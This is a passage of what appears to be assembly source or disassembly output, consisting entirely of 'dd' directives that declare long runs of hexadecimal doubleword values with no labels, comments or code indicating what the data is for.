8355DA00h, 1F1D4918h dd 0C0987ACCh, 0B25825A0h, 1B6738C9h, 8BE78010h, 7344B984h dd 0E5F8C3EEh, 0A80BA7FBh, 9AE2FCAh, 5B0405D0h, 0E67EB801h dd 64001862h, 0D40F76EDh, 0B2F55542h, 0EF4C3C07h, 0EEA772F0h dd 0B4C71436h, 25102C30h, 0E1A21DDBh, 61E3273Ch, 8428EF68h dd 55CF6061h, 1724821Eh, 0D4A78FBEh, 60703EC4h, 9BD51894h dd 411FBC78h, 3189E9E4h, 39C0E77h, 0AB5E59CCh, 0A1E81261h dd 670C096Ch, 0FC790060h, 814FE50Ah, 0E4AAF43Fh, 7CC5D300h dd 0D55C8E4Ah, 0DA650748h, 82721359h, 9C432AFEh, 8373C7DCh dd 10126A0Bh, 1032E2E0h, 0B62E10AFh, 45098A1h, 9132E891h dd 54B56C00h, 7BAC4882h, 15C31C9Eh, 7E3D817Ah, 28C65D25h dd 5EE81770h, 92D96442h, 7C000B65h, 5ACDDBAAh, 0E82C22FEh dd 2D10500Eh, 97430300h, 528DB390h, 35715505h, 0F48121D7h dd 11A356BAh, 6D2D03C8h, 61123BE8h, 20993929h, 0F450984Bh dd 5C760C25h, 65A0054Bh, 0A0506395h, 2BDD6B2h, 5BB17466h dd 0B458DFEDh, 0E5D0AC66h, 0C8B45D11h, 8671B700h, 4B1EB544h dd 80B97C39h, 9B3AB38Eh, 0B0E1C3CBh, 0C2E4AA8Eh, 208846FCh dd 1A0015E4h, 7E11FDAAh, 3B1B985h, 168EC128h, 94C00FE3h dd 1D00F2DCh dd 72767FFFh, 0B067E8D5h, 0E6250C60h, 0E450EC82h, 1D7072F7h dd 0D4E8D2CFh, 0E75C7D0Ah, 5289C068h, 1244409h, 7D3E56D1h dd 70EBE1B1h, 7C00D22Ch, 8E782534h, 7DBFAC4Fh, 6184FE48h dd 429BC05Eh, 59CE40D1h, 0CB7B5204h, 7F061C00h, 0A8EEA473h dd 545C1246h, 0F32C4077h, 4F9F1385h, 40246A90h, 0E8062578h dd 2850A91Bh, 20FC0897h, 790A70EAh, 6406E46Fh, 9A1F270Bh dd 0E5B440FCh, 0F0A87135h, 905BF831h, 0C9B40C90h, 28F0192Fh dd 6EE1BE16h, 847C0440h, 13753F09h, 7458E679h, 32D4C5D4h dd 8A10BA7Ch, 0C5D532C9h, 54690F50h, 822D028Ch, 0C946B7E0h dd 0A0F8489Ch, 7E452E1Ch, 0C0061298h, 30E34A0Ch, 7100ECB3h dd 59A3F42Bh, 9407BAEh, 7F1BFC66h, 6D5CBC80h, 0C10CB28Eh dd 987E6590h, 402D7964h, 832CAB8Fh, 0DF0F5CA0h, 119B8001h dd 71B26C0Ah, 0C136387Bh, 444AA84Dh, 19F21E0h, 5AA37780h dd 0D1D77840h, 73D30D0Bh, 686B0Eh, 58FA6F08h, 48007CB1h dd 2FE85418h, 7DC98B8h, 0EDE5251Bh, 93604336h, 24B0C0B3h dd 4049E2CAh, 130C5840h, 28885884h, 308C27C6h, 444B005h dd 80186C90h, 1F604F78h, 0E6738104h, 0D0D0AB46h, 4381A8Ah dd 0FD8231C2h, 4048874Fh, 259CE783h, 1F90C1B5h, 3FCC4DD9h dd 4167255Dh, 6EC90081h, 92CDF8E4h, 8C6FFA09h, 8E08813h dd 0CB5CCC02h, 64706814h, 0D9432ED3h, 4AB13084h, 20C72A3Ch dd 0D05CBEE5h, 6B498E7h, 0FEE13176h, 7F12286Ah, 2030987Ah dd 0FC311FC9h, 5D0D00BAh, 0C2D07F89h, 9000358Ch, 47CBEBE4h dd 7272AE0h, 3BB76BE8h, 91FBC07Ah, 4F7C8321h, 9CA9C800h dd 12FC36D2h, 0B50E3242h, 6466A170h, 48E5DE40h, 7B818C1Ah dd 42AFEAE6h, 2864619Ch, 9C96CAF6h, 8240542Ch, 2CB88D43h dd 0BB1415C9h, 0AD0CA481h, 0F0BDC82Eh, 70BAD439h, 5BCF70A0h dd 87167C92h, 90044019h, 0DA02591Bh, 0B8877B63h, 0D0D564E8h dd 9E92C768h, 36936E00h, 2B2F1545h, 0D3B30177h, 0E6764A7Fh dd 0F8438ACh, 8072B5CAh, 71A68EABh, 0DA09046Ah, 0ADDD40F3h dd 0F98F007Ch, 8E80E2FAh, 3FB80047h, 0F5C1F394h, 709C3073h dd 0DA1950h, 2E79D061h, 48A6E1B8h, 600120B2h, 0E65537D9h dd 2C7B99h, 0E3CCFF06h, 73A0E038h, 0A006923h, 0E5E40B6Bh dd 1DC82C6Fh, 52379E54h, 72CB1CC7h, 0EC80BDF0h, 43A0950Fh dd 421E1413h, 28702C13h, 592EE305h, 0DDDE3C59h, 14C180A4h dd 5DCF40EAh, 4FC4F654h, 9F579801h, 80EE7C25h, 3080DC54h dd 3BE3ABh, 0FDDF89BFh, 0DE8FD308h, 52553E00h, 91B2EACCh dd 97CD5CCAh, 0B2149E24h, 0B8538338h, 853A4826h, 8E523815h dd 0E80B18B2h, 0FCA90C56h, 7E127C43h, 50D83F69h, 35932E1h dd 68511928h, 9BB64A02h, 0E3DC6010h, 0EB2780D7h, 9126047Ch dd 0C100C574h, 84EAE505h, 80B50034h, 0E137FDA4h, 30C455EDh dd 10CD2125h, 16E5B440h, 0DB80C515h, 0CBB480C7h, 0D14CC990h dd 0C4404A40h, 6DE71E27h, 2740EAFEh, 9C606FE1h, 0D0495A4Ah dd 169D10E0h, 7703FA02h, 0C47AD265h, 0C8907092h, 0DDE67109h dd 973C00B2h, 6588F6h, 78E321F5h, 75CCEE1Ch, 0DC503B60h dd 13F9442Ch, 40105C9Fh, 78DA2338h, 0B35CCDDDh, 9891C00Ch dd 1D46CC28h, 1D8DC13Bh, 0C201D6E6h, 0F471CE40h, 0D77DEF0Fh dd 0D5350420h, 0C01700DCh, 488DD004h, 0EE0CD813h, 70365A5Ch dd 308400DAh, 8DE114C9h, 22002BAEh, 788F82E4h, 68EA765h dd 475C7A1Dh, 40AC303Ah, 0A0D430C0h, 21244Fh, 929876E1h dd 0D9E0388Fh, 0DFAFE500h, 6A7A45AAh, 0A0C4A04Fh, 0FB65803Ah dd 9A290C90h, 0CF83A075h, 0D0FC5D21h, 55A1BE4h, 0A43E2EF0h dd 16B08B1Ch, 0E880DEE8h, 0A48E79h, 9C201AD8h, 0DD72EA59h dd 12AA7C2Fh, 5546660h, 6AE2D260h, 6ED0009Eh, 0FCDA71D9h dd 0CD001670h, 0EA225A48h, 0ED94C9h, 90DE529h, 21605C80h dd 0F0405882h, 61B86090h, 5FF6E2C5h, 64F9496h, 177116B3h dd 8D7C862Fh, 155C2060h, 3680F860h, 0C920D0E1h, 5CE67E58h dd 9EBDE0Bh, 536B8EFBh, 39BA6401h, 0D27029C7h, 4C4C7103h dd 0CC130D5Eh, 0CC78E159h, 8604F698h, 63E1C58Ch, 77340BBBh dd 5E89101h, 48108067h, 0E4E11510h, 2CDD81A3h, 0E67A041Ch dd 0A8D1434Fh, 3457E1h, 0C2120425h, 0F09DC984h, 0B89ED2C0h dd 0D9CC0A41h, 6C0C442Ch, 5DD8B779h, 420C525h, 20C42E7Ch dd 600B34C1h, 6039CCD8h, 5C6E4007h, 48B4D485h, 348D8792h dd 3D6E470h, 3FD06BB6h, 0A8277897h, 20A8AB79h, 0E93B4A9Ch dd 0DC9914h, 46B6D075h, 970006FEh, 1BD6480Dh, 0E688D929h dd 0B74B440h, 6CABFA30h, 58260865h, 1493C0ACh, 4C8DFB07h dd 0C28588Bh, 125E39CFh, 9F40C8C1h, 8AFA01EAh, 0A344DF52h dd 0A280700Dh, 0D3B2F400h, 0B1E86D25h, 2F08BA27h, 6C182984h dd 940A6E9Bh, 0A00FE67Ch, 5C351980h, 15B1E35Fh, 18C31650h dd 87B2CF3Ch, 4705D10h, 14954D20h, 0CCEABAE5h, 0D4DBC209h dd 0D1E200EBh, 0E415BC48h, 10707CE9h, 0E70F2C69h, 0F9097BE2h dd 600578A9h, 0FC88E085h, 0B08CF6C0h, 0C0A7F8E1h, 0E06FEB31h dd 87012BCAh, 0B50D8B53h, 0BC79BCC7h, 24408A96h, 930373DCh dd 90FA6880h, 0B72402B4h, 8790BCE8h, 0AED6B39h, 84D99BE6h dd 0A1F0A900h, 359C8FCh, 0E861294Eh, 300B1B8Eh, 0CCECA7h dd 5F07217Eh, 0EF2809B0h, 90877C66h, 7BE07FCFh, 5D10F393h dd 2781CA25h, 0A5DE8254h, 0A0A07368h, 280C905Bh, 208C5897h dd 7700D831h, 3069C0D6h, 386A35h, 6D1DEE24h, 925C2D08h dd 1409805Ah, 8B0882A4h, 88A8D175h, 0C61474D2h, 13CBB28Ch dd 681989A8h, 92EF260Ah, 0D401B5CFh, 7C495CC4h, 0A9D54080h dd 0E2E85E2Ch, 488889B7h, 48275014h, 4AC77CC4h, 0D8C4E926h dd 947E7100h, 0CCC42A23h, 0B8FB12E1h, 0E8AC2064h, 50CEA655h dd 93BE7D71h, 4806274Ah, 7619224Eh, 0C994B686h, 1F9E3840h dd 0CD8C0600h, 0E6745F45h, 3F0CBC1Dh, 84118981h, 934E985Ch dd 0A8A47BC0h, 0F865137Ch, 0D5EC8850h, 8724014Ch, 19807718h dd 1734B476h, 0CC0F70h, 0AEA6086h, 532E8B72h, 89150C01h dd 79973F84h, 60962E2Ch, 0C8A8DF1Ah, 0B4508530h, 36E56194h dd 805C78B1h, 0AF0272EDh, 0D9B80017h, 7E53BDCDh, 37767A56h dd 50E6FCFDh, 9A329C90h, 0C0DF39ADh, 12B164C4h, 0B2911FC9h dd 54CF0B60h, 0BC70606Dh, 0D38D0099h, 0FE1E07Bh, 0A71F0DB1h dd 48F0DCE5h, 21B8FD0h, 0CC34656Fh, 7600D1A3h, 926133DDh dd 405CB028h, 60A010E4h, 97416Ch, 6DF2E90Ch, 8F5D0983h dd 6783CCC3h, 6CD8AE8Ah, 0E114206Fh, 90DBA5h, 32FDC8E0h dd 0F8347445h, 184760DDh, 60E5CF78h, 5C3C2609h, 15876CDh dd 71ACC98Ch, 84B07813h, 5716C619h, 0B72001CCh, 81EC97C9h dd 0DC356618h, 93C4E2F4h, 0A6A49CA8h, 0BCA0A758h, 2F38E3A7h dd 38F3BE7Eh, 44C14AD3h, 9C525191h, 157C59B0h, 314ADCE5h dd 96816D14h, 9081EF60h, 1D00BF84h, 0E6107F06h, 0EC59E4A0h dd 0A0112218h, 18B9AD44h, 30D720BBh, 0D610A1Ah, 214BE1A1h dd 0A12FC00Eh, 25F27B01h, 511190h, 3ABF9C4Fh, 26357A7Dh dd 4094E5E1h, 9482B0D4h, 6DAC9900h, 29D769ABh, 70884AFFh dd 26386BE0h, 0D1E0E660h, 79FDF974h, 0C7BD1339h, 401077D4h dd 5E55037Ch, 7A040A00h, 0AA5D08F1h, 1738BAAFh, 0C0FCE2EDh dd 0C7E13ECCh, 0A7047C9Ch dd 0EB80191Ch, 48EF5C70h, 0DB01282Dh, 0B16085DEh, 0C5D87063h dd 0C8E3A831h, 8745239h, 3EB0C318h, 5F49AE6h, 68F230FCh dd 5C096E21h, 28EC2253h, 4AB0C0D2h, 88000B5h, 7656BEAAh dd 3B6224E8h, 40BB2659h, 0E8C36712h, 97A53C90h, 0CDCB2C0Fh dd 131B2480h, 0E2C456Ch, 112D20BFh, 0F0570280h, 0E828C960h dd 0D793000Ah, 0D5326BC3h, 1B04E5F4h, 5331E2C1h, 0D3EF4E1Dh dd 0C9540E92h, 0A0485277h, 65527888h, 0D8E730C4h, 4CFAFC7Ah dd 0CCD2C424h, 0BCB42580h, 10B02117h, 7D4604CEh, 0A06FC991h dd 470C25DCh, 0E8B058E8h, 0F01F0027h, 0A4697D67h, 8D39A1E6h dd 0F7528053h, 6FDBC1D2h, 2E3126FCh, 298E01BCh, 411FE4ECh dd 60CC2138h, 714D706Ch, 0A138206Ch, 16715C98h, 60C2B802h dd 2A0E6A40h, 44CC1076h, 0CBA8373h, 39257A20h, 814AFC78h dd 8337135Ch, 83C9BD40h, 7B2024E4h, 531B00D0h, 370391D7h dd 0F800FEFAh, 21B44622h, 0E6BA31Ch, 3DFC7E5Fh, 905C7C61h dd 1C232BDFh, 6BD7D1CDh, 0CC209425h, 3AC8A0C8h, 0E8DCA388h dd 18240Ah, 0CDC3BF22h, 0E42EB64h, 47016A7Bh, 7D41062Eh dd 0CC28967Ch, 2C78FA87h, 645FE5D0h, 66A93080h, 2F401C46h dd 183326EBh, 0D23F1817h, 0E70008ECh, 0E9E3273Ch, 7E335F54h dd 0E851C4DDh, 0D810B090h, 1094F348h, 2C020FF5h, 89E45CEDh dd 8AC2DCE8h, 7D106A78h, 360180FBh, 0E595DC15h, 0D04CFB63h dd 862D18A0h, 0F0FF8F50h, 74DF1D59h, 8803D3C3h, 94984D60h dd 0F720549Ah, 0FC255051h, 0EC8958B7h, 12490F10h, 0FC7584C6h dd 26D83880h, 0F43D4CF3h, 183E6105h, 7AD0C043h, 6319C9E0h dd 0B368539Bh, 0CC691C35h, 12F6AE84h, 0A3FE7C00h, 69CC6B9h dd 77D9895h, 10B856A5h, 0A827FCECh, 88254160h, 86AC053Ah dd 0C55CB35Ah, 28E1CAE8h, 30784438h, 72E02350h, 0C8305BB1h dd 0C720D878h, 0A0110007h, 6041987Ch, 0E42475E7h, 9068B0E1h dd 28D0A425h, 4778204h, 0E978E7h, 4FAF743Eh, 14E4209Bh dd 0C39082D0h, 22C8C0DBh, 0C0B1DF0Ch, 31DE7BAFh, 85952CE1h dd 5C81251Ch, 92E1DE8h, 0B85A7E8Ch, 40485D2Ch, 4E78903Dh dd 0D380FD32h, 0E58F28DCh, 683440E2h, 28F2A74Bh, 4C081AE4h dd 51278879h, 0E67A1C68h, 0A780B816h, 3490F413h, 958AC6C1h dd 29908C10h, 19E4EE14h, 7E748188h, 0C8FBD8ACh, 19DD227h dd 89984170h, 0E4D9CCC2h, 0C7CE1B6h, 435F8D00h, 2873B380h dd 0F0E22DF7h, 0AC322880h, 350F6AE7h, 0E0EC9861h, 0A4267194h dd 0CE210F8Ch, 0E8FC5E44h, 372905C4h, 0C0A750A5h, 9EBDF20h dd 99D85D1Ah, 97806190h, 0CF09C80Ch, 9DE3E2h, 8371AD84h dd 0EA782C8Ah, 0B20608FCh, 0B465A900h, 20E80C84h, 29710B21h dd 60241490h, 19001CE1h, 0A0D0CBDAh, 0B8390021h, 3643A91h dd 0A4B51CCh, 0CA8FBC20h, 0BDE00CBh, 0A7470D22h, 0E130C31Ah dd 0A84F497Ch, 454BA0Eh, 0E6744029h, 98A828h, 5550FA98h dd 0CD19C1h, 6D356B0Bh, 26EEE447h, 0E50B1398h, 0A2C31B8Ch dd 0A7AD5C48h, 0F37189E0h, 0EF490FDh, 480197CCh, 2847025Ch dd 0FFFC80F4h, 9416EE4Fh, 7D460B4h, 9F01415Dh, 917ADAACh dd 47221AFh, 29908175h, 0DBF12BCh, 3C5090CAh, 0EF980079h dd 0C118B76Ch, 9A35E2F3h, 6804204Bh, 4CB0AF7Fh, 3DAD027Dh dd 0C13C0B4Eh, 0F496E044h, 9050C625h, 9E0C0004h, 0DF9C33E2h dd 8C275CFDh, 58FC9207h, 0BE663010h, 0A55BB808h, 6F88F351h dd 0A2AB7044h, 5A005CB2h, 644F2F9Ah, 0E3512419h, 12743808h dd 1BE39E5h, 53E122ACh, 840474E0h, 0F34A94A0h, 828884BCh dd 1BE40BEEh, 61208418h, 0E1C999C2h, 716CE819h, 0D0A228E6h dd 60F32FF0h, 0A22724A5h, 0F25D0C7Ch, 85D867h, 7A561F21h dd 0EEA49DDAh, 5B8DAA00h, 71F45413h, 93FD26E8h, 0E4C980E4h dd 0FE6F39EDh, 70E04348h, 8C507E6Ah, 3209D004h, 0C61704A9h dd 905025ACh, 0ECE7CF2Ch, 0C8E03897h, 0BDE23FFEh, 93AD4861h dd 8641D2BFh, 0F7B5F0E4h, 5E5C8C4h, 409CDCCCh, 4600CDDEh dd 3F1C275Ch, 0A3E6065h, 1D48E134h, 2CDA1C84h, 1861392h dd 318019A8h, 30C6BB0Ch, 5B8C40F8h, 30E2E2DBh, 0AC80442Ah dd 36057888h, 4E6F7C16h, 0DE0004E3h, 0AF71298Fh, 8A34CDCAh dd 58B218A7h, 0C994CF82h, 876518D4h, 10D38A0h, 0CA2BB1B9h dd 40B4DA6Fh, 0E2508FDCh, 0C0901948h, 0D5CCA2Ah, 242C918Ah dd 478F012Ch, 8738E6h, 9E790A65h, 84B027D0h, 7F603EE8h dd 0CBE20EB8h, 21D0A839h, 0FA31F1EAh, 28AA4080h, 0D405649Dh dd 0BD5A5401h, 0F7EFCF5Eh, 0BAD18880h, 6B0A129Ch, 0CA24341Dh dd 6D910500h, 9555E15Ch, 80D8D0A9h, 52E5A30Ch, 1615886h dd 557827Ah, 7C9D3F7Bh, 4C0AC080h, 12747E35h, 129823D3h dd 7968015Fh, 3E65D4E6h, 940D0C00h, 1A7BB746h, 903458CCh dd 9320A8E6h, 1EB50067h, 92281A25h, 0E0484317h, 16D2007Bh dd 14538E49h, 0BE4A01CBh, 0D4E2D521h, 0ED2424BDh, 7D3C3839h dd 0B45D535Ah, 0A105EF07h, 26CA89F3h, 170D028h, 2F106BF6h dd 0D69C64C4h, 38D42153h, 10F932CFh, 808C51DCh, 230E4969h dd 8CB2ADCFh, 0C434854Dh, 0B8ECA48Dh, 302FD488h, 0C3F71A8h dd 0B601E672h, 4EF0DA90h, 0BE005F7Fh, 0DDC31C29h, 95942A3h dd 36F19183h, 58E2E402h, 0A4925EE0h, 8DA6ED01h, 0FC4A9DB0h dd 0FFFE0C20h, 5CEC8A00h, 0A45DFB28h, 0B1235EAh, 70A673D6h dd 122C345Ah, 0E450CCE0h, 829525B8h, 29697C0h, 10D8DF60h dd 0FE67D16h, 8B378042h, 30F8E6E7h, 0B751B258h, 0D65A0FC9h dd 0E0B860C3h, 1D1DA71h, 0AB7BE81Eh, 2BB1CF4Eh, 0AF25DC01h dd 1F2E3D7Ch, 96B0C24h, 697A2150h, 65D2E824h, 8BD48727h dd 1C24C4B9h, 0C47DEA65h, 0F2A7621Fh, 0E6F21A4h, 6B657C02h dd 82ACA86Dh, 44A32DE5h, 4FC91F04h, 0C1C1B588h, 52DFC2E8h dd 0CF100694h, 13A89450h, 0FD210166h, 0D0154B17h, 0B3ECBB8Dh dd 0E41DEE04h, 0F0EC89CCh, 1E988828h, 8C367971h, 0D1CAD275h dd 0DE45E07h, 51E07CB2h, 70E6E7h, 7A1EE19Ch, 0D53FE5E0h dd 0F0BB9B28h, 0F10B3372h, 71C9C86Ah, 1801608Ch, 2558EE72h dd 7FED0000h, 0F85C6973h, 0A7B8C0D5h, 0E5DDFC98h, 0E4C84C4Eh dd 0BF1F375Ch, 85AE6720h, 909C121Eh, 5E8B6C94h, 0E54254B6h dd 4485066h, 8ECCEC1Dh, 0BFCE8CFh, 71A8F9A4h, 4BE88990h dd 714A04C0h, 0C8203D5Ah, 0ECC7C19h, 26444B88h, 2F06CEE0h dd 0E850B0E1h, 2043A98h, 86F8578h, 25CF5098h, 9C64F242h dd 5B5C50A0h, 89D00460h, 17AFD1Ah, 0AF8E7902h, 0F46F9FC2h dd 76071E8h, 7D0B1A40h, 5496009Bh, 38DF110h, 0C9159C3Ch dd 4BE8D749h, 5CC8F4C4h, 640E5A01h, 0B06CF0F4h, 49FCFF4Dh dd 47821410h, 647503F4h, 0FE56CCFBh, 0A78D0120h, 299E8A94h dd 86FC419Ah, 3038CC76h, 0DDCDD904h, 9CE0D86Bh, 0FDA11FB4h dd 7EE60137h, 0D44F7CC6h, 5090C512h, 8B096024h, 7A8D7609h dd 0B71B3E84h, 0AECCE286h, 7A007093h, 0F7D6AAABh, 44EEE5h dd 28B1545Dh, 1884ACE6h, 207D9E07h, 0B0DDB2CCh, 8A2C4C80h dd 981FE5FBh, 7004835Ah, 8700C7FDh, 32C999A6h, 0A4437D5Fh dd 0C4AC7210h, 6BEF5080h, 8C483921h, 0E2241200h, 5AC496E1h dd 0ED15E403h, 8827AC4Eh, 1E490ECAh, 0C364E535h, 36977B80h dd 8FEBC094h, 16012403h, 46CE7109h, 35FDCF5Fh, 887B8093h dd 0FA162884h, 0F88334E2h dd 0F1CFE0F3h, 0D8C8CE5Bh, 7EB89A80h, 0E3021FE4h, 0A722C9F8h dd 715C61F5h, 84002462h, 264398DEh, 0AE0040D1h, 0A4C7376Eh dd 25C13E30h, 34478ACBh, 8C9BF284h, 40D6709Ch, 0FE09AFBDh dd 293E805Ch, 0CAF400ACh, 5A97Ch, 8E426D4Bh, 25D5ECBAh dd 0D9C1F401h, 620C5C74h, 0C9B23082h, 7CD43647h, 9DCF43h dd 0DE548AD9h, 0E1AC7520h, 3C802E4Ah, 0F0BC0E63h, 119C61AAh dd 0A42D47E6h, 40E9E898h, 0C177A334h, 5BE67428h, 0D2EC3D2Ch dd 8D1428CAh, 0DA127447h, 0A08894BCh, 9230CF2Ch, 8A21B0CAh dd 305E255Ah, 69C35883h, 87CDB83Dh, 0FD7B485Ch, 0A0FBD583h dd 7673450Bh, 0EAF05A5h, 80FA16B2h, 0FCC9BE00h, 0C9ECC648h dd 83E4E878h, 4C299511h, 0A55CF4C0h, 0BD989367h, 80C8C7C4h dd 69D098EFh, 0B0403087h, 0C109D1E0h, 71469D1Eh, 847CA4C4h dd 0B24480DDh, 60127860h, 0BD1E1F59h, 7A682125h, 19A05F97h dd 38035FF8h, 0DC49E5E0h, 48B23B54h, 835C0078h, 0A311C718h dd 174D789Ch, 0D4149733h, 13B4F884h, 4F34F85h, 0C91DBCD1h dd 0A8B86CC1h, 2CD44D0Ch, 0B0C625Bh, 6F817927h, 26A108Bh dd 0FE5C7158h, 651894D0h, 0A216778h, 0E4029FD0h, 0D0F620E4h dd 61C04883h, 0DB7AA13Fh, 138074C7h, 0F067F1EBh, 1E6F6648h dd 0E61F1109h, 0FC440028h, 0F3ECC34h, 494FC9C0h, 9729F441h dd 865D4C85h, 8B08851h, 820420h, 256557D2h, 93CD5C91h dd 2170049Eh, 0A0615CE6h, 32FBE182h, 41F110E8h, 6EA3890h dd 0A85F8E35h, 48840482h, 803B3D54h, 0DB00BA8Dh, 0D99717FBh dd 0E2B04E1h, 6D0D8E0Ch, 0B08036Ah, 8D94C25h, 0E4512942h dd 90FB5998h, 108844Fh, 0E550DBCCh, 801828EAh, 3B33D374h dd 5C7D0CB6h, 0C148929Ah, 802C9C48h, 0D694B30Eh, 89DB03DCh dd 2C5C0F11h, 1A4B8FCh, 66F8315Ah, 4079FB7Ch, 80C2BC13h dd 0F79569E4h, 0FDEBCF00h, 0C6E0431Ch, 0DC71F1h, 5E53CDB6h dd 1657C727h, 6414120Bh, 0C698A5EAh, 18E64052h, 0F2AA6513h dd 0B4C68494h, 7328498h, 0EA02848Ah, 0CEAF50F1h, 0D60C91A2h dd 408781E1h, 9C8C5978h, 0F37B4860h, 2900D36Eh, 0B9800A7Ah dd 16FCFF31h, 5014CC06h, 0F0954428h, 0E066C912h, 774FE88Ch dd 0D4D41493h, 2F404F12h, 68E13FC2h, 0F1480070h, 0C9F705F8h dd 5CA44EF9h, 9A110472h, 0C7FEEB36h, 85601FECh, 5D37E1F7h dd 25B858D7h, 2972B613h, 7743180h, 0D7CC474Ch, 0C910FCA4h dd 1654C356h, 18E2A663h, 8D8B6A82h, 71A0D4E0h, 53818509h dd 0DF446B01h, 5CDCC9F2h, 3D003C58h, 373E7A63h, 0E61275BEh dd 4C82F688h, 8A456C1h, 8B074A9Ah, 68D3D372h, 0CD5D9BAEh dd 0D428E8D0h, 61114A88h, 6E50FB0Ch, 5F5DAC21h, 69BC9040h dd 7E3A0003h, 1C9997ACh, 210081E0h, 863FDBCEh, 60715C43h dd 60AB584Fh, 0B8B0645Bh, 0D4C12826h, 4F125C87h, 0CC581B95h dd 1C903E8h, 5D907B72h, 6A67E85Ch, 0E3E7C000h, 0C2E07Ah dd 0D2FC61ECh, 84262E34h, 851A5C00h, 0B30830CBh, 4F11E35h dd 4F5087EAh, 0C74EC05Eh, 3400B69Bh, 0D7E193C1h, 9F85A9h dd 0B2B319DDh, 3FEE5C25h, 0FC2FD200h, 3E08AD04h, 8FB8079Eh dd 0C348D6D8h, 19E0821Bh, 0D3607C85h, 64B12238h, 147309Ch dd 4F83778h, 55AD50C1h, 6CFCD6C7h, 99C531DFh, 3146328h dd 1A18E11Ch, 3AB057DCh, 696FF478h, 0A15EDD07h, 87E93EDCh dd 118A0748h, 15C283h, 318D8710h, 0C7030A7Eh, 0E4BFFB03h dd 1112B9Fh, 14DF5479h, 80EF51DCh, 0DA16A210h, 60282FDDh dd 0C63AD8D5h, 0E0628D91h, 60A88F70h, 0DC9EBD20h, 0B1003E61h dd 71390EFCh, 10C3FF07h, 183E042Fh, 0F83D1940h, 0D70C3FE9h dd 18B67A87h, 0B8EB6EB3h, 478049B9h, 2FF2800Ch, 10C0FE73h dd 0DE91A63Ch, 661E0090h, 0F288347Fh, 0B500D868h, 0FE72B242h dd 0A24463h, 82C7C689h, 0C0CA34BCh, 1CDCFF26h, 871E7100h dd 0A0B4FE8Fh, 825924FCh, 0DC2F6340h, 0BC682960h, 114D8Dh dd 87C9896Fh, 0F60BD47Fh, 9C38000h, 0B8E24669h, 0FFE107EAh dd 0C06B0785h, 0AAFC4B1Fh, 0A04EDC18h, 489B6FC8h, 35383414h dd 85976A02h, 71037EB3h, 0DCE10CB1h, 0BB30145Eh, 9B5C8518h dd 14813D18h, 14763464h, 0B4180E74h, 0C080996Ah, 286CDC77h dd 0F88D38C0h, 0F8C432D6h, 0C9F30037h, 3FBBEDAh, 760F1A3Fh dd 38DD859Eh, 387348h, 34B8180Dh, 0EEFE55C3h, 9B646007h dd 506CD1DBh, 8A960111h, 3E8687CAh, 37F8F498h, 0E83EF275h dd 0CE2F899Bh, 777420D0h, 4B3B7B1h, 0EC04910Bh, 0AF6C9121h dd 387420A1h, 0F788F81Eh, 79879340h, 12A94629h, 50E037A4h dd 6100F8A0h, 0F7125DF4h, 42ED877h, 0B033E91Bh, 4B50003Fh dd 0C98C92EDh, 9E009C9Fh, 8D57B2B4h, 0EE43D6C0h, 931A1016h dd 7C3C006Fh, 0F7DCE2DFh, 0D660C0BFh, 0D87D1C11h, 0E4A09C0Dh dd 1FC840FAh, 938F2485h, 90E080C0h, 2F8452C7h, 0E02BFE30h dd 194994DCh, 10E44CB0h, 9942B19Ch, 61A003CDh, 0B1721884h dd 2F499081h, 41CA5130h, 5569DB9Ah, 0D442D489h, 39D48C34h dd 8E9F1BEAh, 67B0B809h, 560016D8h, 422375B7h, 4C7C52Dh dd 9D7DBFFAh, 34483B5h, 37DFC1F0h, 581DDA2Ch, 6B57E800h dd 0E2A0EDh, 7F46C54h, 0BC909F74h, 2F4FE8DFh, 0E72706C0h dd 0D348A010h, 0A3F11F08h, 86C814EFh, 643A127Ch, 1BD043DFh dd 0E80C76E8h, 0A07AB59Fh, 5CC65034h, 0F078643Eh, 965C44B0h dd 8BC570C0h, 0F616CA4Eh, 86A98898h, 6094741Ch, 42F00FABh dd 7DFC195h, 0DDDC1190h, 4C0E01F3h, 0EC853463h, 0A6DEE8ABh dd 0ED303D77h, 55E9407Ah, 4FCD396Dh, 8A26B9BAh, 99F8258h dd 608FB361h, 0B10F2A06h, 753DC543h, 8D75513h, 891D7CACh dd 2D9F1742h, 2C8CA59Ch, 0D63C1801h, 0E8418591h, 0D2868DB1h dd 200612DCh, 47EDEC07h, 0EED788ABh, 0DE15D080h, 0B72F1845h dd 0B94C40E1h, 0CDDA520Eh, 3E0143Fh, 9D2FB583h, 16200038h dd 0DF743AEFh, 26283CE8h, 4AF9A83Dh, 783A26B4h, 5585BC07h dd 0DA5425C9h, 6818148Dh, 3D3C329Ch, 2885BB28h, 4C1814B8h dd 9C121320h, 0C00CCE38h, 7BA77011h, 0B55E76FDh, 0B5EAED43h dd 0C80378C1h, 9C187F0Ah, 0B1506383h, 0F0600025h, 48B77073h dd 0B6027817h, 0D4C10A76h, 0C4A44042h, 93B80BFBh, 6C087007h dd 4A2F0608h, 81E180B5h, 0B2B18718h, 0C03E6FAAh, 0C7DF0C6Bh dd 0CE64B90Bh, 203416BEh, 0DF000840h, 9EB71BAEh, 984C64DDh dd 3ED740DCh, 25FA9898h, 0CDB970Ch, 50813056h, 7E6F9C67h dd 75902E3h, 0A6DCEE95h, 25B6E048h, 0E0449814h, 0A03480BCh dd 1461410Ch, 0D0C6B40Dh, 0DC110530h, 5C9AF5E2h, 0B41110A2h dd 0FA73D450h, 192469F6h, 9B01DE89h, 5824DCB9h, 18F3093h dd 3D213CD4h, 431C4179h, 153C40B0h, 1460779Fh, 85253B18h dd 288060A3h, 12B447EAh, 0E8F73729h, 0BB88843Fh, 7C815C3Ch dd 4A001CC1h, 3E40A62Fh, 2D761F49h, 0A8DA402Ah, 2E8B34BEh dd 9EC12F12h, 0DF12D807h, 0C4C88D12h, 55E20320h, 42601ECBh dd 64E33DBAh, 583CA924h, 6F0D1A16h, 0C04110B4h, 88E34E2h dd 0CBBC24CBh, 5C3B613Dh, 7C912D8h, 9451C12Eh, 968FA207h dd 6F454F57h, 0DC527494h, 6432E813h, 744488DAh, 7A180410h dd 0DDEA80F2h, 0BD81180Eh, 6BC62087h, 371E60h, 12BC89FAh dd 0DB3B2F5Fh, 9FEE84A0h, 38885133h, 22C87836h, 251AA8C3h dd 45B1753Dh, 50442804h dd 24B408DFh, 2E543A7Dh, 0AECE0214h, 0C4415791h, 0C43D0362h dd 58C6A0C1h, 0E8A19012h, 20101941h, 851EBD18h, 333EDE96h dd 9B1AF1EDh, 0AC27C578h, 836BB880h, 0B04F0BCFh, 809BD590h dd 0C3ED58C0h, 0E9859C09h, 14204E88h, 0F08F352Fh, 9391713h dd 